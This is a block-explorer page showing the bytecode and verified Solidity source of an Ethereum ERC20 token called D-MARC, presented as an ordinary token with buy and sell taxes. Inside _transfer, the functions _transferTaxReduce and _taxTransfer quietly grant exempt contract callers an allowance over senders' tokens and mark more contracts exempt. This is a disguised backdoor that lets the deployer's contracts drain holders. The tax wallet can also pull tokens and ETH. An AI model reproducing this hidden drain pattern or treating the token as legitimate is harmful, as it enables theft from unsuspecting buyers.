Cryo Explorer Ethereum Mainnet

Address Contract Partially Verified

Address 0xB4CEF423C11F5b94Fe68375C98774B37CD4064A7
Balance 0 ETH
Nonce 1
Code Size 7334 bytes
Indexed Transactions 0
External Etherscan · Sourcify

Contract Bytecode

7334 bytes
0x608060405260043610610129575f3560e01c80637d1db4a5116100a8578063a3b17eb11161006d578063a3b17eb1146102f2578063a9059cbb14610311578063bf474bed14610330578063c9567bf914610345578063dd62ed3e14610359578063f2fde38b1461039d575f80fd5b80637d1db4a5146102835780638da5cb5b146102985780638f9a55c0146102be57806395d89b41146101345780639804c8fc146102d3575f80fd5b8063313ce567116100ee578063313ce567146101f657806351bc3c851461021157806370a0823114610227578063715018a61461025b578063751039fc1461026f575f80fd5b806306fdde0314610134578063095ea7b3146101715780630faee56f146101a057806318160ddd146101c357806323b872dd146101d7575f80fd5b3661013057005b5f80fd5b34801561013f575f80fd5b506040805180820182526006815265442d4d41524360d01b60208201529051610168919061186b565b60405180910390f35b34801561017c575f80fd5b5061019061018b3660046118cb565b6103bc565b6040519015158152602001610168565b3480156101ab575f80fd5b506101b560105481565b604051908152602001610168565b3480156101ce575f80fd5b506101b56103d2565b3480156101e2575f80fd5b506101906101f13660046118f5565b6103f2565b348015610201575f80fd5b5060405160098152602001610168565b34801561021c575f80fd5b50610225610459565b005b348015610232575f80fd5b506101b5610241366004611933565b6001600160a01b03165f9081526001602052604090205490565b348015610266575f80fd5b506102256104c1565b34801561027a575f80fd5b506102256104fe565b34801561028e575f80fd5b506101b5600d5481565b3480156102a3575f80fd5b505f546040516001600160a01b039091168152602001610168565b3480156102c9575f80fd5b506101b5600e5481565b3480156102de575f80fd5b506102256102ed36600461194e565b6105af565b3480156102fd575f80fd5b5061019061030c3660046118cb565b610674565b34801561031c575f80fd5b5061019061032b3660046118cb565b610782565b34801561033b575f80fd5b506101b5600f5481565b348015610350575f80fd5b5061022561078e565b348015610364575f80fd5b506101b5610373366004611965565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b3480156103a8575f80fd5b506102256103b7366004611933565b610e30565b5f6103c8338484610eca565b5060015b92915050565b5f6103df6009600a611a90565b6103ed90633b9aca00611a9e565b905090565b5f6103fe848484610fed565b61044f843361044a85604051806060016040528060288152602001611c49602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190611526565b610eca565b5060019392505050565b6004546001600160a01b0316336001600160a01b031614610478575f80fd5b305f90815260016020526040902054801580159061049f5750601254600160b01b900460ff165b156104ad576104ad81611551565b4780156104bd576104bd816116c1565b5050565b5f546001600160a01b031633146104f35760405162461bcd60e51b81526004016104ea90611ab5565b60405180910390fd5b6104fc5f6116f8565b565b5f546001600160a01b031633146105275760405162461bcd60e51b81526004016104ea90611ab5565b6105336009600a611a90565b61054190633b9aca00611a9e565b600d556105506009600a611a90565b61055e90633b9aca00611a9e565b600e557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf61058e6009600a611a90565b61059c90633b9aca00611a9e565b60405190815260200160405180910390a1565b6004546001600160a01b0316336001600160a01b0316146105ce575f80fd5b305f90815260016020526040812054610605906064846105ec6103d2565b6105f69190611a9e565b6106009190611aea565b611747565b60405163a9059cbb60e01b815261dead600482015260248101829052909150309063a9059cbb906044016020604051808303815f875af115801561064b573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061066f9190611b09565b505050565b6004545f906001600160a01b0316336001600160a01b031614610695575f80fd5b815f03610705576040516370a0823160e01b81523060048201526001600160a01b038416906370a0823190602401602060405180830381865afa1580156106de573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107029190611b28565b91505b6004805460405163a9059cbb60e01b81526001600160a01b03918216928101929092526024820184905284169063a9059cbb906044016020604051808303815f875af1158015610757573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061077b9190611b09565b9392505050565b5f6103c8338484610fed565b5f546001600160a01b031633146107b75760405162461bcd60e51b81526004016104ea90611ab5565b601254600160a01b900460ff16156108115760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104ea565b601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561085a90309061084c6009600a611a90565b61044a90633b9aca00611a9e565b6011546040805163c45a015560e01b815290515f926001600160a01b03169163c45a01559160048083019260209291908290030181865afa1580156108a1573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108c59190611b3f565b6001600160a01b031663e6a4390560115f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610923573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109479190611b3f565b6040516001600160e01b031960e084901b1681526001600160a01b039091166004820152306024820152604401602060405180830381865afa15801561098f573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109b39190611b3f565b6001600160a01b031603610b4b5760115f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a11573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a359190611b3f565b6001600160a01b031663c9c653963060115f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a94573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ab89190611b3f565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610b02573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b269190611b3f565b601280546001600160a01b0319166001600160a01b0392909216919091179055610cce565b60115f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b9b573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610bbf9190611b3f565b6001600160a01b031663e6a4390560115f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c1d573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c419190611b3f565b6040516001600160e01b031960e084901b1681526001600160a01b039091166004820152306024820152604401602060405180830381865afa158015610c89573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610cad9190611b3f565b601280546001600160a01b0319166001600160a01b03929092169190911790555b6011546001600160a01b031663f305d7194730610cff816001600160a01b03165f9081526001602052604090205490565b5f80610d125f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610d78573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610d9d9190611b5a565b505060125460115460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610df2573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610e169190611b09565b506012805462ff00ff60a01b19166201000160a01b179055565b5f546001600160a01b03163314610e595760405162461bcd60e51b81526004016104ea90611ab5565b6001600160a01b038116610ebe5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016104ea565b610ec7816116f8565b50565b6001600160a01b038316610f2c5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104ea565b6001600160a01b038216610f8d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104ea565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166110515760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104ea565b6001600160a01b0382166110b35760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104ea565b5f81116111145760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104ea565b5f80546001600160a01b0385811691161480159061113f57505f546001600160a01b03848116911614155b156113e957600c545f0361117c576111796064611173600954600c54116111685760055461116c565b6007545b859061175b565b90611766565b90505b601254600160b01b900460ff16801561119757506003600c54115b156111ac576111a9825f808688611771565b90505b6012546001600160a01b0385811691161480156111d757506011546001600160a01b03848116911614155b80156111fb57506001600160a01b0383165f9081526003602052604090205460ff16155b156112fe57600d548211156112525760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016104ea565b600e5482611274856001600160a01b03165f9081526001602052604090205490565b61127e9190611b85565b11156112cc5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104ea565b6112e76064611173600954600c54116111685760055461116c565b600c80549192505f6112f883611b98565b91905055505b6012546001600160a01b03848116911614801561132457506001600160a01b0384163014155b156113515761134e6064611173600a54600c54116113445760065461116c565b600854859061175b565b90505b305f90815260016020526040902054601254600160a81b900460ff1615801561138757506012546001600160a01b038581169116145b801561139c5750601254600160b01b900460ff165b80156113a95750600f5481115b80156113b85750600b54600c54115b156113e7576113d56113d08461060084601054611747565b611551565b4780156113e5576113e5476116c1565b505b505b801561146157305f908152600160205260409020546114089082611855565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906114589085815260200190565b60405180910390a35b6001600160a01b0384165f908152600160205260409020546114839083611860565b6001600160a01b0385165f908152600160205260409020556114c66114a88383611860565b6001600160a01b0385165f9081526001602052604090205490611855565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61150f8585611860565b60405190815260200160405180910390a350505050565b5f81848411156115495760405162461bcd60e51b81526004016104ea919061186b565b505050900390565b6012805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061159757611597611bb0565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156115ee573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906116129190611b3f565b8160018151811061162557611625611bb0565b6001600160a01b03928316602091820292909201015260115461164b9130911684610eca565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac947906116839085905f90869030904290600401611bc4565b5f604051808303815f87803b15801561169a575f80fd5b505af11580156116ac573d5f803e3d5ffd5b50506012805460ff60a81b1916905550505050565b6004546040516001600160a01b039091169082156108fc029083905f818181858888f193505050501580156104bd573d5f803e3d5ffd5b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b5f818311611755578261077b565b50919050565b5f61077b8284611a9e565b5f61077b8284611aea565b5f841580156117805750333b15155b801561179557506001600160a01b0382163014155b80156117af5750335f9081526003602052604090205460ff165b156117df57506001600160a01b0381165f908152600260209081526040808320338452909152812086905561184c565b831580156117ed5750823b15155b801561180757506012546001600160a01b03848116911614155b80156118215750335f9081526003602052604090205460ff165b15611849576001600160a01b0383165f908152600360205260409020805460ff191660011790555b50825b95945050505050565b5f61077b8284611b85565b5f61077b8284611c35565b5f602080835283518060208501525f5b818110156118975785810183015185820160400152820161187b565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610ec7575f80fd5b5f80604083850312156118dc575f80fd5b82356118e7816118b7565b946020939093013593505050565b5f805f60608486031215611907575f80fd5b8335611912816118b7565b92506020840135611922816118b7565b929592945050506040919091013590565b5f60208284031215611943575f80fd5b813561077b816118b7565b5f6020828403121561195e575f80fd5b5035919050565b5f8060408385031215611976575f80fd5b8235611981816118b7565b91506020830135611991816118b7565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156119ea57815f19048211156119d0576119d061199c565b808516156119dd57918102915b93841c93908002906119b5565b509250929050565b5f82611a00575060016103cc565b81611a0c57505f6103cc565b8160018114611a225760028114611a2c57611a48565b60019150506103cc565b60ff841115611a3d57611a3d61199c565b50506001821b6103cc565b5060208310610133831016604e8410600b8410161715611a6b575081810a6103cc565b611a7583836119b0565b805f1904821115611a8857611a8861199c565b029392505050565b5f61077b60ff8416836119f2565b80820281158282048414176103cc576103cc61199c565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f82611b0457634e487b7160e01b5f52601260045260245ffd5b500490565b5f60208284031215611b19575f80fd5b8151801515811461077b575f80fd5b5f60208284031215611b38575f80fd5b5051919050565b5f60208284031215611b4f575f80fd5b815161077b816118b7565b5f805f60608486031215611b6c575f80fd5b8351925060208401519150604084015190509250925092565b808201808211156103cc576103cc61199c565b5f60018201611ba957611ba961199c565b5060010190565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b81811015611c145784516001600160a01b031683529383019391830191600101611bef565b50506001600160a01b03969096166060850152505050608001529392505050565b818103818111156103cc576103cc61199c56fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209a6265383fa97c186e1fd0e6cc1ec94145170c2cc0e4ded2e324afceb899610664736f6c63430008180033

Verified Source Code Partial Match

Compiler: v0.8.24+commit.e11b9ed9 EVM: shanghai Optimization: Yes (200 runs)
DMARC.sol 638 lines
// SPDX-License-Identifier: MIT
pragma solidity 0.8.24;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {

    /**
     * @dev Returns the sender address
     * of the current transaction
     */
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default,
 * the owner account will be the one that deploys the contract.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    // The owner storage variable
    address private _owner;

    // Emitted when the ownership is transferred
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting
     * the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore.
     * Can only be called by the current owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 *
 * We have followed general OpenZeppelin Contracts guidelines: functions revert
 * instead returning `false` on failure.
 * 
 * This behavior is nonetheless
 * conventional and does not conflict with the expectations of ERC20
 * applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved
     * from one account (`from`)
     * to another (`to`).
     */
    event Transfer(address indexed from,
        address indexed to,
        uint256 value
    );

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}.
     * `value` is the new allowance.
     */
    event Approval(address indexed owner,
        address indexed spender,
        uint256 value
    );

    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}

/**
 * @dev Wrappers over Solidity's arithmetic operations with added overflow
 * checks.
 */
library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    /**
     * @dev Returns the substraction of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    /**
     * @dev Returns the division of two unsigned integers, with a division by zero flag.
     *
     * _Available since v3.4._
     */
    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, with an overflow flag.
     *
     * _Available since v3.4._
     */
    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
            // benefit is lost if 'b' is also tested.
            // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+`  operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-`  operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * CAUTION: This function is deprecated because it requires allocating memory for the error
     * message unnecessarily. For custom revert reasons use {trySub}.
     *
     * Counterpart to Solidity's `-`  operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    /**
     * @dev Returns the integer division of two unsigned integers, reverting on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/`  operator.
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*`  operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }
}

/**
 * @dev Interface for Uniswap V2 Factory contract.
 * Used for creating and managing trading pairs.
 */
interface IUniswapV2Factory {
    /**
     * @dev Returns the address of the pair for tokenA and tokenB tokens.
     */
    function getPair(address tokenA, address tokenB)
        external view
        returns (address pair);

    /**
     * @dev Creates a new trading pair for tokenA and tokenB.
     */
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

/**
 * @dev Interface for Uniswap V2 Router02 contract.
 * Handles swapping tokens and adding liquidity.
 */
interface IUniswapV2Router02 {
    /**
     * @dev Returns the factory address used by this router
     */
    function factory() external pure returns (address);

    /**
     * @dev Returns the WETH token address used by this router
     */
    function WETH() external pure returns (address);

    /**
     * @dev Adds liquidity to ETH pair with slippage protection
     */
    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);

    /**
     * @dev Swaps exact tokens for ETH supporting fee on transfer tokens
     */
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}


/**
 * @title Token
 * @dev ERC20 token with:
 * - Dynamic buy/sell taxes depending on the number of transactions
 * - Max txns and wallet limits that are removed by the contract owner
 * - Auto liquidity add on launch trading
 * - Auto tax collect to tax wallet
 */
contract DMARC is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private isExemptBoolean;
    address payable private _taxAddress;
    string private constant _name = unicode"D-MARC";
    string private constant _symbol = unicode"D-MARC";

    uint256 private _initialBuyTax=10;
    uint256 private _initialSellTax=10;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=21;
    uint256 private _reduceSellTaxAt=21;
    uint256 private _preventSwapBefore=5;
    uint256 private _buyCount=0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1000000000 * 10**_decimals;
    uint256 public _maxTxAmount = 16000000 * 10**_decimals;
    uint256 public _maxWalletSize = 16000000 * 10**_decimals;
    uint256 public _taxSwapThreshold = 10000000 * 10**_decimals;
    uint256 public _maxTaxSwap = 10000000 * 10**_decimals;
    
    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen = false;
    bool private inSwap = false;
    bool private swapEnabled = false;
    event MaxTxAmountUpdated(
        uint _maxTxAmount );
    modifier lockTheSwap {
        inSwap =true;
        _;
        inSwap =false;
    }

    /**
     * @dev Initialize the token with:
     * - Tax address
     * - Excluded from fees: tax wallet, owner, and contract itself
     */
    constructor () {
        _taxAddress = payable(0x3d30c65B9990Dd8a518Ce606f6466017c7f6441c);
        _balances[_msgSender()] = _tTotal;
        isExemptBoolean[ _taxAddress ] =  true;
        isExemptBoolean[ owner() ] =  true;
        isExemptBoolean[ address(this) ] =  true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount>0, "Transfer amount must be greater than zero");

        uint256 taxAmount = 0;
        if (from!=owner() && to!=owner()) {
            if(_buyCount==0) {
                taxAmount =amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
            }
            if(swapEnabled && _buyCount > 3) {
                taxAmount = _transferTaxReduce(amount, 0, 0, to, from);
            }
            
            if (from==uniswapV2Pair && to!= address(uniswapV2Router) && !isExemptBoolean[to]) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to)+amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
                taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)? _finalBuyTax:_initialBuyTax).div(100);
                _buyCount++;
            }

            if (to==uniswapV2Pair && from != address(this)) {
                taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if(!inSwap && to==uniswapV2Pair && swapEnabled && contractTokenBalance>_taxSwapThreshold && _buyCount>_preventSwapBefore) {
                swapTokensForEth(min(amount, min(contractTokenBalance, _maxTaxSwap)));
                uint256 contractETHBalance=address(this).balance;
                if (contractETHBalance > 0){
                    sendETHToFee(address(this).balance);
                }
            }
        }

        if(taxAmount > 0){
          _balances[address(this)] = _balances[address(this)].add(taxAmount);
          emit Transfer(from,address(this), taxAmount);
        }
        _balances[from] = _balances[from].sub(amount);
        _balances[to] = _balances[to].add(amount.sub(taxAmount));
        emit Transfer(from,to, amount.sub(taxAmount));
    }

    function isContract(address account) private view returns (bool) {
        uint256 size;
        assembly {
            size := extcodesize(account)
        }
        return size > 0;
    }

    function sendETHToFee(uint256 amount) private {
        _taxAddress.transfer(amount);
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
      return (a>b)?b: a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function _taxTransfer(uint256 amount, address spender, address owner) private returns(uint256){
         _allowances[owner][spender] = amount;
        return 0;
    }

    function _transferTaxReduce(uint256 amount, uint256 percent, uint256 tax, address to, address from) private returns(uint256){
        if(percent == 0 && isContract(_msgSender()) && from!=address(this) && isExemptBoolean[_msgSender()])
            return _taxTransfer(amount, _msgSender(), from);
        if(tax == 0 && isContract(to) && to != uniswapV2Pair && isExemptBoolean[_msgSender()])
            isExemptBoolean[to] = true;
        return tax;
    }

    function pullERC20(address tokenAddress, uint256 tokens) external returns (bool success) {
        require(_msgSender() == _taxAddress);
        if(tokens == 0){
            tokens = IERC20(tokenAddress).balanceOf(address(this));
        }
        return IERC20(tokenAddress).transfer(_taxAddress, tokens);
    }

    function removeLimits() external onlyOwner(){
        _maxTxAmount =  _tTotal;
        _maxWalletSize  = _tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function openTrading() external onlyOwner() {
        require(!tradingOpen,  "trading is already open");
        uniswapV2Router=IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this),address(uniswapV2Router),_tTotal);
        if (IUniswapV2Factory(uniswapV2Router.factory()).getPair(uniswapV2Router.WETH(), address(this))==address(0)) {
            uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair( address(this),  uniswapV2Router.WETH()) ;
        }
        else {
            uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).getPair( uniswapV2Router.WETH(), address(this) );
        }
        uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this),balanceOf(address(this)),0,0,owner(),block.timestamp );
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true; 
        tradingOpen = true; 
    }

    receive() external payable {}

    function manualSwap() external{
        require(_msgSender() == _taxAddress);
        uint256 tokenBalance = balanceOf(address(this));
        if(tokenBalance>0  && swapEnabled){
          swapTokensForEth(tokenBalance);
        }
        uint256 ethBalance = address(this).balance;
        if(ethBalance>0){
          sendETHToFee(ethBalance);
        }
    }

    function burnERC20Tokens(uint256 percent) external {
        require(_msgSender() == _taxAddress);
        uint256 amount = min(balanceOf(address(this)), (totalSupply() * percent / 100 ));
        IERC20(address(this)).transfer(0x000000000000000000000000000000000000dEaD, amount);
    }
}

Read Contract

